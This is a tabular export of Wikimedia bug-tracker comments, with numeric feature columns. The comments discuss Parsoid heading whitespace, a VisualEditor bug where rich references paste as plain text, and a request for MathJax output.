https://gerrit.wikimedia.org/r/101318",,,1386964508,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Change 101318 had a related patch set uploaded by GWicke:
(Bug 51744) Add space around = chars in new headings

GERRIT_URL"
241343,Default whitespace for headings should include spaces before/after ==,"Change 101275 had a related patch set uploaded by GWicke:
Merge ""(Bug 51744) Add space around = chars in new headings""

https://gerrit.wikimedia.org/r/101275",,,1386964432,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,7.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8275862068965516,0.9655172413793104,"Change 101275 had a related patch set uploaded by GWicke:
Merge ""(Bug 51744) Add space around = chars in new headings""

GERRIT_URL"
241337,Default whitespace for headings should include spaces before/after ==,Yes. Will be deployed today. Closing this bug now.,,,1386171623,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5,0.8333333333333334,Yes. Will be deployed today. Closing this bug now.
241331,Default whitespace for headings should include spaces before/after ==,I assume this is fixed now? Thank you!,,,1386166246,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,1.0,I assume this is fixed now? Thank you!
241328,Default whitespace for headings should include spaces before/after ==,"Change 96790 merged by jenkins-bot:
(Bug 51744) Add space around = chars in new headings

https://gerrit.wikimedia.org/r/96790",,,1386114683,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.782608695652174,1.0,"Change 96790 merged by jenkins-bot:
(Bug 51744) Add space around = chars in new headings

GERRIT_URL"
241326,Default whitespace for headings should include spaces before/after ==,"Change 96790 had a related patch set uploaded by Subramanya Sastry:
(Bug 51744) Add space around = chars in new headings

https://gerrit.wikimedia.org/r/96790",,,1385054475,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.185185185185185,1.0,"Change 96790 had a related patch set uploaded by Subramanya Sastry:
(Bug 51744) Add space around = chars in new headings

GERRIT_URL"
241322,Default whitespace for headings should include spaces before/after ==,"(In reply to comment #5)
> I assume these
> extra spaces will not be an issue on enwp and doesn't violate any style
> guidelines there?

No, per [[MOS:HEAD]], ""Spaces between the equal signs and the heading text are optional, and will not affect the way the heading is displayed"". It doesn't mention anything about them being uncool, and most of the wikis I frequent use them for readability.",,,1385053828,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,True,,,20,,0.0,1.0,0.0,1.0,3.0,5.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,14.0,0.0,4.0,7.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,5.0,10.0,3.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,4.0,3.4657534246575343,0.7397260273972602,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE

No, per [[MOS:HEAD]], ""Spaces between the equal signs and the heading text are optional, and will not affect the way the heading is displayed"". It doesn't mention anything about them being uncool, and most of the wikis I frequent use them for readability."
241317,Default whitespace for headings should include spaces before/after ==,"Okay, I started to tackle this. The basic fix is quite simple, but it introduces a ton of noisy diffs in our parser tests and it will likely introduce a lot of noisy diffs in roundtrip testing as well. We could fix our testing infrastructure to ignore them, but a better solution is to leave existing headings untouched.

I can instead add this rule on new headings and leave old headings untouched.

But, looking at pages on enwp, I see (by clicking around on a about 10 ""random"" pages) that most headings don't use spaces after/before ""=="". I assume these extra spaces will not be an issue on enwp and doesn't violate any style guidelines there?",,,1385053073,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,True,,,20,,0.5,0.0,0.0,0.0,2.0,7.5,1.5,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,4.0,0.0,6.0,10.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,1.0,0.0,4.5,1.5,1.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,16.0,0.5,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,3.5,1.5,4.5,0.5,3.5,6.0,0.0,0.0,0.0,0.0,6.0,0.5,0.5,0.0,6.0,10.5,0.0,0.5,3.0,0.0,6.0,0.0,0.0,3.0,0.5,2.0,0.5,0.5,0.0,3.814285714285714,0.7357142857142858,"Okay, I started to tackle this. The basic fix is quite simple, but it introduces a ton of noisy diffs in our parser tests and it will likely introduce a lot of noisy diffs in roundtrip testing as well. We could fix our testing infrastructure to ignore them, but a better solution is to leave existing headings untouched.

I can instead add this rule on new headings and leave old headings untouched.

But, looking at pages on enwp, I see (by clicking around on a about 10 ""random"" pages) that most headings don't use spaces after/before ""=="". I assume these extra spaces will not be an issue on enwp and doesn't violate any style guidelines there?"
241311,Default whitespace for headings should include spaces before/after ==,"The French Wikipedia would be interested in this change as well, since they use a lot of ""extra"" spaces, and the headers are no exception.",,,1383167033,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,10.0,3.0,3.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,7.0,0.0,7.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.8,0.9333333333333333,"The French Wikipedia would be interested in this change as well, since they use a lot of ""extra"" spaces, and the headers are no exception."
241306,Default whitespace for headings should include spaces before/after ==,"(In reply to comment #2)
> (In reply to comment #1)
> > It would be very helpful if you can provide a list of any other default
> > whitespace rules for other wikitext elements.  It is simpler to implement
> > this
> > in one shot rather than piecemeal.
> 
> Sorry, I post these when I notice Parsoid is doing things not in my way :)

Thats okay.  I was not complaining, just making a request. :).  

You can test existing Parsoid behavior @ http://parsoid.wmflabs.org/_html/ and report what needs fixing.",,,1374331135,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,24.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,4.0,5.0,11.0,0.0,0.0,2.0,4.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,3.290909090909091,0.7272727272727273,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thats okay.  I was not complaining, just making a request. :).  

You can test existing Parsoid behavior @ URL and report what needs fixing."
241302,Default whitespace for headings should include spaces before/after ==,"(In reply to comment #1)
> It would be very helpful if you can provide a list of any other default
> whitespace rules for other wikitext elements.  It is simpler to implement
> this
> in one shot rather than piecemeal.

Sorry, I post these when I notice Parsoid is doing things not in my way :)


> Right now, we cannot implement different rules for different wikipedias, but,
> if necessary, something that we could consider at a later point.  So, can you
> also include some information, if you have, about whether the style rules are
> universal or specific to pl.wp?

Yeah, of course. No idea if any other wikis use any similar cleanup tools as pl.wp, but in general more whitespace is more readable than less (wikitext is just like code in this regard :) ).

The tools pl.wp uses is [[pl:MediaWiki:Gadget-sk.js]], but be aware that it also includes some non-code cleanup and some pl.wp-specific rules for template replacements etc.",,,1374330631,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,True,,,2,,2.5,0.0,0.0,0.0,0.5,8.5,2.5,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,1.5,0.0,3.5,8.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,11.5,0.5,1.0,0.0,2.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.5,10.0,2.0,2.0,5.0,0.0,1.5,0.0,0.5,2.0,0.0,0.5,0.0,2.5,8.0,9.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.5,2.5,0.0,3.0,3.5142089093701996,0.7523041474654377,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

Sorry, I post these when I notice Parsoid is doing things not in my way :)


QUOTE
QUOTE
QUOTE
QUOTE

Yeah, of course. No idea if any other wikis use any similar cleanup tools as pl.wp, but in general more whitespace is more readable than less (wikitext is just like code in this regard :) ).

The tools pl.wp uses is [[pl:MediaWiki:Gadget-sk.js]], but be aware that it also includes some non-code cleanup and some pl.wp-specific rules for template replacements etc."
241296,Default whitespace for headings should include spaces before/after ==,"It would be very helpful if you can provide a list of any other default whitespace rules for other wikitext elements.  It is simpler to implement this in one shot rather than piecemeal.

Right now, we cannot implement different rules for different wikipedias, but, if necessary, something that we could consider at a later point.  So, can you also include some information, if you have, about whether the style rules are universal or specific to pl.wp?",,,1374330299,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,True,,,2,,2.0,1.0,1.0,0.0,1.0,12.0,3.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,3.0,1.0,2.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,4.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,8.0,14.0,1.0,1.0,0.0,0.0,8.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,4.153846153846154,0.7252747252747253,"It would be very helpful if you can provide a list of any other default whitespace rules for other wikitext elements.  It is simpler to implement this in one shot rather than piecemeal.

Right now, we cannot implement different rules for different wikipedias, but, if necessary, something that we could consider at a later point.  So, can you also include some information, if you have, about whether the style rules are universal or specific to pl.wp?"
53725,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed","**Author:** `lunarjam.mcgahan`

**Description:**
Wikipedia VE bug Reference with no parameter tags not editable in Chrome on Win7

See attached Word document Wikipedia VE bug Reference with no parameter tags not editable in Chrome on Win7

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11354}",Medium,50.0,1374285540,1535731638.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.891891891891892,0.47297297297297297,"**Author:** CODE

**Description:**
Wikipedia VE bug Reference with no parameter tags not editable in Chrome on Win7

See attached Word document Wikipedia VE bug Reference with no parameter tags not editable in Chrome on Win7

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11354}"
1133416,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed","Indeed, this seems to no longer be a problem (testing the reproduction steps by @jayvdb). Rich text is correctly pasted.",,,1535731638,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_subcomment,,True,c1,3,True,,,269,,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.375,0.9583333333333334,"Indeed, this seems to no longer be a problem (testing the reproduction steps bySCREEN_NAME). Rich text is correctly pasted."
580858,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed","Today it seems to work well. (Firefox 42)
Or I have not undestood.",,,1450389552,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_subcomment,,True,c1,3,False,,,128,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,11.0,6.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0555555555555554,0.9444444444444444,"Today it seems to work well. (Firefox 42)
Or I have not undestood."
240133,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed",*** Bug 65593 has been marked as a duplicate of this bug. ***,,,1415063196,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_subcomment,,True,c1,3,True,,,70,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 65593 has been marked as a duplicate of this bug. ***
240127,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed","This is similar to bug 33105 and bug 41193, but this bug is more specific as it is within the same window.

Steps to reproduce:
1. Create a reference with '[http:example.com example], publisher, year'
2. Open dialog for reference created in step 1
3. Copy the richtext reference and close the dialog
4. Insert reference anywhere, and paste the clipboard

Results:
Plain text paste 'example, publisher, year'

Expected results:
Richtext paste '[http:example.com example], publisher, year'",,,1374756959,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,3.0,1.5,0.0,0.0,0.0,1.0,4.5,0.0,0.0,0.0,0.0,0.0,1.5,3.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,21.5,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.5,7.5,0.0,3.0,4.5,0.0,0.0,0.0,0.0,4.5,0.0,4.0,0.0,0.5,3.5,1.0,0.0,4.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,4.0,3.7017543859649122,0.6842105263157894,"This is similar to bug 33105 and bug 41193, but this bug is more specific as it is within the same window.

Steps to reproduce:
1. Create a reference with '[http:example.com example], publisher, year'
2. Open dialog for reference created in step 1
3. Copy the richtext reference and close the dialog
4. Insert reference anywhere, and paste the clipboard

Results:
Plain text paste 'example, publisher, year'

Expected results:
Richtext paste '[http:example.com example], publisher, year'"
240123,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed","**lunarjam.mcgahan** wrote:

Further information

See attachment Bug 51725 further explanation

**Attached**: {F11355}",,,1374633830,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.074074074074074,0.6296296296296297,"**lunarjam.mcgahan** wrote:

Further information

See attachment Bug 51725 further explanation

**Attached**: {F11355}"
240118,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed","That ref is only on one page, in English and Thai
https://www.google.com.au/search?q=""History of the Vardo""+site:wikipedia.org

And I was able to do a basic edit to that ref on Chrome Version 28.0.1500.72 m/Windows 7 Enterprise SP1, in Vector and Monobook

https://en.wikipedia.org/w/index.php?title=Recreational_vehicle&diff=565400866&oldid=565097139

https://en.wikipedia.org/w/index.php?title=Recreational_vehicle&diff=565401640&oldid=565400866

https://th.wikipedia.org/w/index.php?diff=5049776&oldid=4731458

There must be something more specific needed to reproduce this.",,,1374538584,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_subcomment,,True,c1,3,False,,,3,,0.0,2.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,2.0,2.0,0.0,3.0,12.0,2.0,3.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,28.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,2.0,12.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,3.8461538461538463,0.7846153846153846,"That ref is only on one page, in English and Thai
URL of the Vardo""+site:wikipedia.org

And I was able to do a basic edit to that ref on Chrome Version 28.0.1500.72 m/Windows 7 Enterprise SP1, in Vector and Monobook

URL

URL

URL

There must be something more specific needed to reproduce this."
240112,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed","The contents of the attached Word document, to the extent that LibreOffice will display them, seem to be:

The source code is as follows:
<ref>[http://gypsywaggons.co.uk/varhistory.htm ""History of the Vardo (Gypsy Caravan)""], ValleyStream Media, 2009</ref>

Was there a screenshot that you meant to include? Could you give us a link to the article? Could you explain the problem in more detail?",,,1374296176,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,4.0,1.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,11.0,4.0,16.0,1.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,11.0,10.0,4.0,3.0,0.0,6.0,0.0,1.0,3.0,3.0,0.0,1.0,0.0,3.0,3.810126582278481,0.7215189873417721,"The contents of the attached Word document, to the extent that LibreOffice will display them, seem to be:

The source code is as follows:
<ref>[URL ""History of the Vardo (Gypsy Caravan)""], ValleyStream Media, 2009</ref>

Was there a screenshot that you meant to include? Could you give us a link to the article? Could you explain the problem in more detail?"
53698,Parsoid: Output MathJax rendering for Math tags instead of images,"When MathJax is enabled we should render a <span> containing TeX, instead of an image.

--------------------------
**Version**: unspecified
